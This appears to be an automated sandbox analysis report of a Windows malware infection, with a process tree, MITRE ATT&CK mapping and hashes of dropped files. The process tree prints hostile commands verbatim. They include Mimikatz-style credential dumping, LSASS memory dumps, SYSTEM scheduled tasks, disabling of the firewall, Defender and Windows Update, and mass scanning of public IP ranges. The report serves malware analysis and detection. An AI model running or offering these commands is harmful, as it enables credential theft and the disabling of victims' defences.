- - C:\Windows\cbqgwgbak\glcnqktpu\abejbmtbe.exe
    C:\Windows\cbqgwgbak\glcnqktpu\abejbmtbe.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\cbqgwgbak\glcnqktpu\Scant.txt
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:2028
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\cbqgwgbak\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\cbqgwgbak\Corporate\log.txt
  2⤵
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  PID:3204
- - C:\Windows\cbqgwgbak\Corporate\vfshost.exe
    C:\Windows\cbqgwgbak\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:1956
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "fajrkclpu" /ru system /tr "cmd /c C:\Windows\ime\vevbrhb.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1556
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3476
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "fajrkclpu" /ru system /tr "cmd /c C:\Windows\ime\vevbrhb.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:4840
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "cbvbunktq" /ru system /tr "cmd /c echo Y|cacls C:\Windows\ibbkgibu\vevbrhb.exe /p everyone:F"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4892
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4632
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "cbvbunktq" /ru system /tr "cmd /c echo Y|cacls C:\Windows\ibbkgibu\vevbrhb.exe /p everyone:F"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2012
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "unmzjgrge" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\cwmulkufu\yakbjd.exe /p everyone:F"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2480
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:1040
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "unmzjgrge" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\cwmulkufu\yakbjd.exe /p everyone:F"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4276
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3368
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3680
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2964
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4348
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4364
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1136
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4616
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3024
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1344
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4612
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:1224
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4624
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop SharedAccess
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1420
- - C:\Windows\SysWOW64\net.exe
    net stop SharedAccess
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1704
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SharedAccess
      4⤵
      System Location Discovery: System Language Discovery
      PID:4120
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh firewall set opmode mode=disable
  2⤵
  PID:1436
- - C:\Windows\SysWOW64\netsh.exe
    netsh firewall set opmode mode=disable
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:3012
- C:\Windows\TEMP\cbqgwgbak\blirnnmwb.exe
  C:\Windows\TEMP\cbqgwgbak\blirnnmwb.exe -accepteula -mp 756 C:\Windows\TEMP\cbqgwgbak\756.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2532
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh Advfirewall set allprofiles state off
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1644
- - C:\Windows\SysWOW64\netsh.exe
    netsh Advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:3728
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop MpsSvc
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3476
- - C:\Windows\SysWOW64\net.exe
    net stop MpsSvc
    3⤵
    PID:4132
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MpsSvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:544
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop WinDefend
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4288
- - C:\Windows\SysWOW64\net.exe
    net stop WinDefend
    3⤵
    PID:924
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop WinDefend
      4⤵
      System Location Discovery: System Language Discovery
      PID:1288
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop wuauserv
  2⤵
  PID:3388
- - C:\Windows\SysWOW64\net.exe
    net stop wuauserv
    3⤵
    PID:4180
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop wuauserv
      4⤵
      System Location Discovery: System Language Discovery
      PID:4368
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config MpsSvc start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1888
- - C:\Windows\SysWOW64\sc.exe
    sc config MpsSvc start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:4312
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config SharedAccess start= disabled
  2⤵
  PID:1352
- - C:\Windows\SysWOW64\sc.exe
    sc config SharedAccess start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:968
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config WinDefend start= disabled
  2⤵
  PID:3764
- - C:\Windows\SysWOW64\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:224
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config wuauserv start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3620
- - C:\Windows\SysWOW64\sc.exe
    sc config wuauserv start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:1784
- C:\Windows\TEMP\xohudmc.exe
  C:\Windows\TEMP\xohudmc.exe
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:2244
- C:\Windows\TEMP\cbqgwgbak\blirnnmwb.exe
  C:\Windows\TEMP\cbqgwgbak\blirnnmwb.exe -accepteula -mp 316 C:\Windows\TEMP\cbqgwgbak\316.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1680
- C:\Windows\TEMP\cbqgwgbak\blirnnmwb.exe
  C:\Windows\TEMP\cbqgwgbak\blirnnmwb.exe -accepteula -mp 2116 C:\Windows\TEMP\cbqgwgbak\2116.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4328
- C:\Windows\TEMP\cbqgwgbak\blirnnmwb.exe
  C:\Windows\TEMP\cbqgwgbak\blirnnmwb.exe -accepteula -mp 2540 C:\Windows\TEMP\cbqgwgbak\2540.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:32
- C:\Windows\TEMP\cbqgwgbak\blirnnmwb.exe
  C:\Windows\TEMP\cbqgwgbak\blirnnmwb.exe -accepteula -mp 2728 C:\Windows\TEMP\cbqgwgbak\2728.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4936
- C:\Windows\TEMP\cbqgwgbak\blirnnmwb.exe
  C:\Windows\TEMP\cbqgwgbak\blirnnmwb.exe -accepteula -mp 2840 C:\Windows\TEMP\cbqgwgbak\2840.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1496
- C:\Windows\TEMP\cbqgwgbak\blirnnmwb.exe
  C:\Windows\TEMP\cbqgwgbak\blirnnmwb.exe -accepteula -mp 3104 C:\Windows\TEMP\cbqgwgbak\3104.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1140
- C:\Windows\TEMP\cbqgwgbak\blirnnmwb.exe
  C:\Windows\TEMP\cbqgwgbak\blirnnmwb.exe -accepteula -mp 3712 C:\Windows\TEMP\cbqgwgbak\3712.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2916
- C:\Windows\TEMP\cbqgwgbak\blirnnmwb.exe
  C:\Windows\TEMP\cbqgwgbak\blirnnmwb.exe -accepteula -mp 3820 C:\Windows\TEMP\cbqgwgbak\3820.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:5068
- C:\Windows\TEMP\cbqgwgbak\blirnnmwb.exe
  C:\Windows\TEMP\cbqgwgbak\blirnnmwb.exe -accepteula -mp 3920 C:\Windows\TEMP\cbqgwgbak\3920.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4236
- C:\Windows\TEMP\cbqgwgbak\blirnnmwb.exe
  C:\Windows\TEMP\cbqgwgbak\blirnnmwb.exe -accepteula -mp 4012 C:\Windows\TEMP\cbqgwgbak\4012.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4348
- C:\Windows\TEMP\cbqgwgbak\blirnnmwb.exe
  C:\Windows\TEMP\cbqgwgbak\blirnnmwb.exe -accepteula -mp 5008 C:\Windows\TEMP\cbqgwgbak\5008.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4492
- C:\Windows\TEMP\cbqgwgbak\blirnnmwb.exe
  C:\Windows\TEMP\cbqgwgbak\blirnnmwb.exe -accepteula -mp 1200 C:\Windows\TEMP\cbqgwgbak\1200.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3364
- C:\Windows\TEMP\cbqgwgbak\blirnnmwb.exe
  C:\Windows\TEMP\cbqgwgbak\blirnnmwb.exe -accepteula -mp 3464 C:\Windows\TEMP\cbqgwgbak\3464.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1920
- C:\Windows\TEMP\cbqgwgbak\blirnnmwb.exe
  C:\Windows\TEMP\cbqgwgbak\blirnnmwb.exe -accepteula -mp 5088 C:\Windows\TEMP\cbqgwgbak\5088.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3472
- C:\Windows\TEMP\cbqgwgbak\blirnnmwb.exe
  C:\Windows\TEMP\cbqgwgbak\blirnnmwb.exe -accepteula -mp 3948 C:\Windows\TEMP\cbqgwgbak\3948.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:5108
- C:\Windows\TEMP\cbqgwgbak\blirnnmwb.exe
  C:\Windows\TEMP\cbqgwgbak\blirnnmwb.exe -accepteula -mp 4516 C:\Windows\TEMP\cbqgwgbak\4516.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3384
- C:\Windows\TEMP\cbqgwgbak\blirnnmwb.exe
  C:\Windows\TEMP\cbqgwgbak\blirnnmwb.exe -accepteula -mp 2872 C:\Windows\TEMP\cbqgwgbak\2872.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4992
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\cbqgwgbak\glcnqktpu\scan.bat
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1368
- - C:\Windows\cbqgwgbak\glcnqktpu\yudzuibgc.exe
    yudzuibgc.exe TCP 194.110.0.1 194.110.255.255 445 512 /save
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:3932
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  - System Location Discovery: System Language Discovery
  PID:7056
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:7004
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    PID:7100
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6672
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6660
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:5884
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    PID:7080

C:\Windows\SysWOW64\mesuau.exe
C:\Windows\SysWOW64\mesuau.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3724

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\ibbkgibu\vevbrhb.exe /p everyone:F
1⤵
PID:2516
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:2668
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\ibbkgibu\vevbrhb.exe /p everyone:F
  2⤵
  PID:4564

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\cwmulkufu\yakbjd.exe /p everyone:F
1⤵
PID:32
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:4440
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\TEMP\cwmulkufu\yakbjd.exe /p everyone:F
  2⤵
  PID:4668

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\ime\vevbrhb.exe
1⤵
PID:968
- C:\Windows\ime\vevbrhb.exe
  C:\Windows\ime\vevbrhb.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:624

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\ibbkgibu\vevbrhb.exe /p everyone:F
1⤵
PID:2608
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:3336
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\ibbkgibu\vevbrhb.exe /p everyone:F
  2⤵
  PID:6444

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\cwmulkufu\yakbjd.exe /p everyone:F
1⤵
PID:6220
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:1816
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\TEMP\cwmulkufu\yakbjd.exe /p everyone:F
  2⤵
  PID:6368

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\ime\vevbrhb.exe
1⤵
PID:6844
- C:\Windows\ime\vevbrhb.exe
  C:\Windows\ime\vevbrhb.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:60

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Credential Access

OS Credential Dumping

T1003

LSASS Memory

T1003.001

Discovery

Network Service Discovery

T1046

Network Share Discovery

T1135

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

Packet.dll

Path C:\Windows\SysWOW64\Packet.dll
Size 95KB
SHA256 49656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918
MD5 86316be34481c1ed5b792169312673fd
SHA1 6ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5
SHA512 3a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc
SSDEEP 1536:zg6Z54QkC2wpk2c+ZCDHKklh74RTfIEtaYQ0:M6Z54ARcIxk4LIEtaYj
MD5 SHA1 SHA512 SSDEEP

Submit Download

wpcap.dll

Path C:\Windows\SysWOW64\wpcap.dll
Size 275KB
SHA256 b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9
MD5 4633b298d57014627831ccac89a2c50b
SHA1 e5f449766722c5c25fa02b065d22a854b6a32a5b
SHA512 29590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3
SSDEEP 6144:E4yIm5rC9WNWwKcNBSCiLvK8+jKgZBwIbg2:jyIm59WwpqCuEKIwv2
MD5 SHA1 SHA512 SSDEEP

Submit Download

1200.dmp

Path C:\Windows\TEMP\cbqgwgbak\1200.dmp
Size 1.2MB
SHA256 a64fa07b45982ad97981146485bbfee38f811814400b959c7ff1776bcaf27c3f
MD5 f88b4df639d908deb2bcb376c286b75b
SHA1 8f468cfd8ae6f5ac205450557aeffec5cd2d548d
SHA512 7c482fb30535253f0c8bdfb3bc33f2f7b628a4efe13a3a35ef1418e432e5992a8d717962b4feaf3f7d07ede99ad87eb3ebc581304b1d47723a821272623aafb6
SSDEEP 6144:Gw2Gz3cbGJNJNqJHuMeHu1ukFKDT9H98q0mZso2KeqIo2xRoMeRL:GwKIJAbcl8roqoSRoMeRL
MD5 SHA1 SHA512 SSDEEP

Submit Download

2116.dmp

Path C:\Windows\TEMP\cbqgwgbak\2116.dmp
Size 4.1MB
SHA256 de1aa57a91c166030ba77edc53ed76e3a13a22490329174970ac76cae91f8c42
MD5 f30bf5d5fc3f0d05f6c01221a8323d23
SHA1 861e4f7cd96eb28f121327c802c813c2bddf4028
SHA512 4f43744e64b47fe09cea7e830022aeadfe24864e0c0dbf90f629f12f4863f7264e192337ec5814f42a307c6843cf6809e05cf2bc5adeb734c54c61f994959a83
SSDEEP 12288:itp84a9aUV1zVDSuA1RtX/5gxYdZlSGr8AHAGaYj3NwiQ1FJkFozoWoMeRL:i9GzV2u+WYdZl58Yj3NwDkFQZoMeRL
MD5 SHA1 SHA512 SSDEEP

Submit Download

2540.dmp

Path C:\Windows\TEMP\cbqgwgbak\2540.dmp
Size 4.0MB
SHA256 cb920e14f13dc41931e7416b286ffb654caad962b8c408021f75461e25d10bca
MD5 94a05f7acc2fb8fb51ceb30b262e4fde
SHA1 8f770fe91420e11bda693e0b384fd8a45a95a6f7
SHA512 f77a5c2607491db43bdf7e60136d36251a4947ba8d5eb8c3ef4c41d8bad6ea4a28d8e054f2685118851a2c549aa67fd2ca9a37ab28a5f5a0673dd7e71a72b9ab
SSDEEP 12288:QjuuLJ/kybJHnhYKKUqRihhBfWL5otz0rWIMcA4oM94o5oMeRL:QquLpkyTwbihhZ45Az0r5+4kOoMeRL
MD5 SHA1 SHA512 SSDEEP

Submit Download

2728.dmp

Path C:\Windows\TEMP\cbqgwgbak\2728.dmp
Size 3.0MB
SHA256 df1f9f3fcdc74bb9c3899085385c114800ba2dbee9c4f16cb254a8b6357a462c
MD5 fb03707084e7b8323e6e1a8caf3ce3be
SHA1 5b7bf055ad591f1c293191ffa24f46a106798412
SHA512 c99b1f36b51f7f1995cf4a7433619fbc3bd50ff44d816fff560456b5b42418755965855d77487a3d223a0b6255be34b91aec49eb99b9ff4d7bdbdc898d7d82ba
SSDEEP 12288:Z0HZcLGKhsy8eaoSaHa9fQT/tzEel9o3YNoPoMeRL:Z0HqyKS+aoSaHa9fQ7Pl9rcoMeRL
MD5 SHA1 SHA512 SSDEEP

Submit Download

2840.dmp

Path C:\Windows\TEMP\cbqgwgbak\2840.dmp
Size 7.7MB
SHA256 05ea2d6007ba80bc7d0e4c092271cc922a20549f55f350b9dd9ead8434e3a32b
MD5 429b00a11055bd6a72e510940582b9ac
SHA1 7b00948793d3555f4476fc399794dd44befc9bdf
SHA512 b125aefe0b53744d592cba5d72400878bf165ff1421a433fa6be16d8e773718c224bcf5b3b5b0693379f680d1c78effa1180c10a0f0b8d70e39249f9f81d63da
SSDEEP 24576:dMwP54DQgWnaeg4tzQgFzxs4hQgrvQ2i97H4tLurNJcb8keee7oMeRL:ibQgWnb1QgFQgr3cJJcb
MD5 SHA1 SHA512 SSDEEP

Submit Download

3104.dmp

Path C:\Windows\TEMP\cbqgwgbak\3104.dmp
Size 788KB
SHA256 46562487ce916bcb29e2f2ba01807566d438162bbc48e1711ce867a0879db4c9
MD5 81b0628912e73f253d89c93c98e5d94d
SHA1 4e7dd6a59f94d78544c84111f52da8597b9e58c3
SHA512 79cc7815773ea08bf2e2c723b0e75f9b25abe37df934d154b9671eeed673ca75e7ab023bdcb916567d93e1d54f68410653a539e7e21d2f832326a4d86a8f1165
SSDEEP 6144:sg1UuWtHkgnl5sVp9Je2TiMzBI1Ih4lao2OH4eqIo2poMeRL:sgDiPl4Je2TieIGLorFoAoMeRL
MD5 SHA1 SHA512 SSDEEP

Submit Download

316.dmp

Path C:\Windows\TEMP\cbqgwgbak\316.dmp
Size 33.9MB
SHA256 e6a0f69d0bef54b16238fd1a714d23432d6cbc8ed5c11d8056c4429cb88021b9
MD5 74c4552b8aa83ed687052ab3c843b93b
SHA1 f090c7171735625c5257c5a6a3c332feedc1dc33
SHA512 981c6a93541f0ea60a16fa56b96cfae58978eac4c4856faa956e11599162cb2a0cd9483362708cfccdf4c37efd26127f6225c6e7ba30e4d2311e2ed438131859
SSDEEP 786432:t9syj/wvD0GJZeU8ChDIVlVk6260/p7AKddd1O2mshQ9kPJGfMNbRDXXw9syj/w9:t9syj/wvD0GJZeU8ChDIVlVk6260/p7l
MD5 SHA1 SHA512 SSDEEP

Submit Download

3464.dmp

Path C:\Windows\TEMP\cbqgwgbak\3464.dmp
Size 8.6MB
SHA256 d6d8e4cb189a50022ffb1efab2ce750c4212f033da2cfbd506674d0a787dbd1d
MD5 6de990713cfc017d66dfe0629dbd35fd
SHA1 315af1448ffa297014b6d0a243d382526bc2d121
SHA512 6b6db6c43137022f87a013c6626c815ef985db07c53e899f699f35fe6f7d3a0a85e780ba3723c0a86a6ce4fac0b1bebe4f979c971b6aafdb50e3d0889298266d
SSDEEP 49152:5JIQaue7Qk/5hpbwQwI4WnGVegmKemBCYz3oikkI4iaaQUPL1WAghwmTrK:5JCVfgmcB
MD5 SHA1 SHA512 SSDEEP

Submit Download

3712.dmp

Path C:\Windows\TEMP\cbqgwgbak\3712.dmp
Size 2.9MB
SHA256 509a9799224d78bbbb0dc4801d9bf4fd9ce15ae47402be27632b91ca34934e3f
MD5 3dbf045bfc8dac1de0838b4ec2d177bf
SHA1 57924f6de34de5318810faa9ec5986c5720c151d
SHA512 818b12901cafaecc3a5a139b6a2dbadbab17a439c38be966e4053d5bf1843c0c7d702b813803d5c0ce18838c54bff84d4e32ef0c501084f8d3e0fdb924e922fd
SSDEEP 12288:Geb54NzdfxwhARTKmzpVfZvjqcPhJuxDBjI1oFoooMeRL:Gi4NzdJwe1jJhgx61mjoMeRL
MD5 SHA1 SHA512 SSDEEP

Submit Download

3820.dmp

Path C:\Windows\TEMP\cbqgwgbak\3820.dmp
Size 20.7MB
SHA256 06fdf184c5c99066901ed4464b89c246b128e171790c53e60faaba3cd9914f28
MD5 30e11b7b0018423849ac3a41f3a704f4
SHA1 651ccb0a08689b1fe7bed6b3e5806a9deec51439
SHA512 b8f8bb9aa5ee2a33974b437339be09e943d478c809daa8697bdb03aa29d7037b1e0840074443073cfed5d4a263e34b1ff554d888cf7b966001f08ab899f20742
SSDEEP 49152:eJIQGAn0pCHOgXrY6bAcprRSoxgg/rUWxIs:eJhnguOgXRSoj
MD5 SHA1 SHA512 SSDEEP

Submit Download

3920.dmp

Path C:\Windows\TEMP\cbqgwgbak\3920.dmp
Size 4.4MB
SHA256 e3c673e20234dae3fdaa9f3d18e242476e139d0ea7a57f15fb86ffd4561dd480
MD5 54dc4f130f04a00e9f7c473b8f5976bd
SHA1 ee6c437064d4d96699c510681bb5dfee2a02086b
SHA512 440c73ff28ec76107f7d862fdcedf2409759be1d2097355c9942388d47e0233d13b0fcae3bc26cf886175ec03dd32d811a1bdbed700dedd8d272e6b1cac6ea27
SSDEEP 12288:3Z6bIGnzqcTXZbvEOC/ZoZ4s71POQkP2oGoMeRL:3Z6bIezqcTpDa84s5IP2RoMeRL
MD5 SHA1 SHA512 SSDEEP

Submit Download

4012.dmp

Path C:\Windows\TEMP\cbqgwgbak\4012.dmp
